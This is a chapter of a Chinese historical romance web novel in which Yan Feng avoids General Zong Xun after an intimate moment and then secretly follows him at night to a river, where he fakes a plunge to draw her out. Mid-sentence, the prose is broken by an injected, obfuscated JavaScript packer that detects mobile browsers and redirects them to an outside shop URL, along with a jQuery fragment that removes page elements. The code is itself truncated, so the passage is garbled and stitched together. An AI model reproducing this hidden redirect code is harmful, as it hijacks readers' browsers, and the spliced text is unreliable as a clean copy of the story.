燕风说完就觉得失言,好像在说人家是猫狗似的,她脸色微红,挠了挠头:“呃……我随口一说的,你别放在心上。”
宗恂却轻叹了一声:“我那时候,明明见你瘦弱可怜,却不曾照拂与你。对不住了。”
燕风眼神里闪过一瞬恍惚,连忙摆手:“这是哪里的话,哪里是你的错呢。”
她故作轻快地玩笑道,“再说了,若那时你真要施舍我饭食,我反而要走呢。天底下或许确有掉馅饼的好事,但肯定轮不着我。若是轮着了,后头必定有一顿好揍。”
“这话怎么说?谁欺负你了?”
燕风一边收拾碗筷一边自嘲:“就那几个公主嘛,排老五和老七的……名字我早忘了。她们养了一只狮猫,就用那猫剩的食物引我过去,然后蒙头就是一顿乱揍。我到现在都不知道她们为什么这么捉弄我。”
“当时我是真难过,可隔了一天,就看见你在冷宫后那块空地上武剑。你武得好极了,我当时就心想,一定要偷偷学会你的本事。公主有什么了不起的?等我练成了好功夫,就把她们全都打趴下!”
宗恂心里一阵抽痛,情不自禁地,便伸手要碰她搭在桌上的那只手。
触到了一片温软。
他心头一震,这才意识到自己举止的孟浪,正要收回,却见燕风脸上红白交错,分明也是被吓了一跳。
那只他握住的手心鼓鼓囊囊,像是藏了什么。
燕风讪讪地把手摊开,掌心里赫然是一只精巧可爱的肉糍。
“最后一个了。”她低声道,像个做错事的孩子。
“我看你好像也不吃,丢了怪可惜的……我就顺手……顺……顺习惯了。”
宗恂愣了愣,笑道:“往后你想吃就到我这里来,总不会叫你饿着的。”
燕风却已低头猛啃那只肉糍,嘴里模模糊糊道:“好,那就多谢将军。”
后头的事,燕风记不清了。再一回神,自己已经出了大帐。
外头凉风拂面,却吹不熄心头那份躁动。刚才是装痴扮傻混过去了,可宗恂那一握的温度,却似烙在了手背上,久久不散。
她素来敏感,怎会察觉不到其中的异样?
她深知自己对宗恂从来就有些不太清白的念头。自幼时见他英姿卓然,她的心底便生出妄想。懵懂情愫被岁月酿成一坛炽热而隐秘的陈酿,如火种埋于灰烬,一触即燃。
但越是在意,便越是谨慎,从而患得患失。
她不敢去猜宗恂今日那一握,到底是因同她一般的情动,还是源于救命之恩的感激,又或者,仅是知晓她经历后,生出的愧疚与怜惜。
她怕得很。怕会错意,怕自己自作多情,怕到头来一场空欢喜。
更何况,宗恂是宗谦之子。每念及此处,那点悄然滋长的侥幸,顷刻间便被兜头浇灭。她欠宗家太多,那恩义如藤缠身,叫她不敢妄动七情六欲的贪根。
幸而每日与陈青对练,足可耗尽气力,夜里倒也能沉沉睡去,暂得清静。
她暗下决心,自此当避着他。
不见,便可少一分踌躇和心乱。
于是她依言每日前去取食,却总是等到他沉睡或离帐之后,才悄然潜入。取了便走,还要故作镇定地与陈青、江鱼分而食之,仿佛这样便能减些心头愧意,给自己一个心安理得的理由。
宗恂第一夜便觉出了异样。
他早早备好饭菜,在帐中静候,心里莫名生出些期待。可等到夜已深,帐帘却始终没有被掀起。
他怔怔坐了半宿,最终空落落睡去。次日清晨,他揭开食盒,却见食盒里饭菜已被取走,怔忡片刻,随即了然。
她在躲他。
那一刻,百味杂陈。
失落自不必说,更多的是怀疑和自责。她为何避他?是察觉了他的情意?但是……根本不愿回应?
自那日起,他每夜都故意早早离帐,在营中闲转一圈,好让她能安心取食。
他愿成全她所有的决定。
两人分明近在咫尺,竟再无相见。宗恂初时只觉怅然,久而久之竟生出几分恼意
不是恼她,而是恼自己。何苦这般患得患失?又为何甘愿将喜怒,寄托于旁人一举一动之中?
索性将那一腔情意强行压回心底,只当是一场无痕春梦。
好在,他还有事可做。
这日,恰逢燕风营中开荤第一日。他按旧例备下饭菜,想了想又在托盘底压了一张纸条,写道:
“有事离营,至多二十日即归,勿声张,勿寻。”
夜半,燕风如往常一般潜入帐中,刚揭开食盒,忽然发现盘底露出一角纸页。她展开一看,神色骤变。
根据她在宗恂身边有且仅有的两次可怕经历,这种悄然离营的举动,十有八九他又是去找死!
她哪里还坐得住?
她飞快回帐唤醒江鱼,匆匆交代几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485538|201982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
句,便换上便装,收拾干粮,拿一张厚毡披身,趁夜色翻上了宗恂的帐顶。她蜷伏屋檐之上,静静守着,只要宗恂一有动静,她便要立刻尾随而去,断不能再让他独自涉险!
其实她也大可径直去找宗恂,当面问他此去又想做什么,若是又要以身涉险,便该三思,或者至少应该带上她一块儿。
然而她终究没有这么做,因她心中明白,那些心里藏着寻死念头的人,是听不进旁人劝的。宗恂这一次好歹还留了张纸条,若是自己贸然前去质问,反叫他提防起她来,恐怕以后连只言片语都不会再留。
再者,她已躲着他多日,心里总觉得心虚和愧疚,连见他一面,都有些不敢了。
丑时三刻,宗恂果然悄悄出来了。
他换了身打扮,行装简便,步履无声,身影转瞬便没入夜色。燕风目光紧随,只见他往北地临水城的方向疾行而去。
那是何家驻地,他果然又要去涉险!
燕风顾不得多想,立刻跟了上去。宗恂的轻功不错,而她却更胜一筹,自信宗恂绝察觉不了她。
走着走着,宗恂忽然停住了脚步。
他站在一处高高的河岸上,低头看着下面滚滚而过的苍河。风吹得衣袂猎猎,像是下一刻就要振袖而去。
燕风心中一紧。
果然,下一刻,宗恂纵身一跃。
“扑通”
重物落水的一声巨响,激起水花四溅。
燕风如遭雷击,几乎停了呼吸。什么也顾不得了,她狂奔到高岸边,低头往下看去。
然而河面昏黑,月影破碎,唯有浊浪翻涌,宗恂却再无踪迹。
她的手在发抖,正欲跳下去救人。突然一只手从后方伸来,稳稳攥住了她的手臂。
她僵硬地回头。
宗恂好端端地站在她身后。他背对着月光一语不发,神情隐在黑影中看不分明。
只是紧紧握着她。
一阵大悲大喜,燕风半晌才找回了自己的心跳。
她马上意识到这人是故意引她出来,怒火上涌,正要张嘴让他见识见识市井俗语的攻击力。忽又住了嘴,因为她想起了这次似乎是她理亏。
毕竟他可能根本不知跟随之人是她,假装跳河只是为了引出其他不怀好意之人罢了。
可别又自作多情了。
万千言语在喉间翻滚,最终吐出的却是:“你……什么时候知道我跟着你的?”